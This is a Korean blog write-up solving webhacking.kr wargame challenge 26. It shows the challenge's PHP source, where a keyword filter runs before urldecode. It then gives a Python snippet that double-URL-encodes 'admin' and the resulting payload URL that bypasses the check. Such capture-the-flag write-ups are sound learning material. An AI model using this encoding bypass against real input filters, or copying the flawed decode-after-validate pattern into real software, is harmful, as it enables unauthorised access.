소스코드를 보는 것이 문제의 시작이었습니다.
문제의 소스는 다음과 같습니다.
<?php include "../../config.php"; if($_GET['view_source']) view_source(); ?><html> <head> <title>Challenge 26</title> <style type="text/css"> body { background:black; color:white; font-size:10pt; } a { color:lightgreen; } </style> </head> <body> <?php if(preg_match("/admin/",$_GET['id'])) { echo"no!"; exit(); } $_GET['id'] = urldecode($_GET['id']); if($_GET['id'] == "admin"){ solve(26); } ?> <br><br> <a href=?view_source=1>view-source</a> </body> </html>
위의 소스를 보게 되면 15번 라인의 php 부분에서 urldecode가 있는 것을 확인할 수 있습니다.
urldecode가 있는 경우 일단 urlencode를 수행한 것을 decode 하게 만들면 admin이 되지 않을까 하여 다음과 같은 방법으로 문제를 풀어보았습니다.
from urllib.parse import urlencode, quote_plus, quote # data = bytes.hex("admin".encode()) # 'admin' --> '61646d696e' # custom --> %61%64%6d%69%6e print(quote('%61%64%6d%69%6e'))
위의 소스로 나온 값은 다음과 같습니다.
%2561%2564%256d%2569%256e
이를 GET Method로 보내게 되면 풀리게 됩니다.
https://webhacking.kr/challenge/web-11/?id=%2561%2564%256d%2569%256e
'WARGAMES > webhacking.kr - old' 카테고리의 다른 글
Webhacking.kr_No.29(400) - old (0) | 2019.12.31 |
---|---|
Webhacking.kr_No13(1000) - old (0) | 2019.12.15 |
Webhacking.kr_No.28(500) - old (0) | 2019.10.25 |
Webhacking.kr_No.27(150) - old (0) | 2019.10.25 |
Webhacking.kr_No.25(150) - old (0) | 2016.12.08 |
Webhacking.kr_No.24(100) - old (0) | 2016.06.28 |
Webhacking.kr_No.23(200) - old (0) | 2016.06.28 |
Webhacking.kr_No.20(200) - old (0) | 2016.06.28 |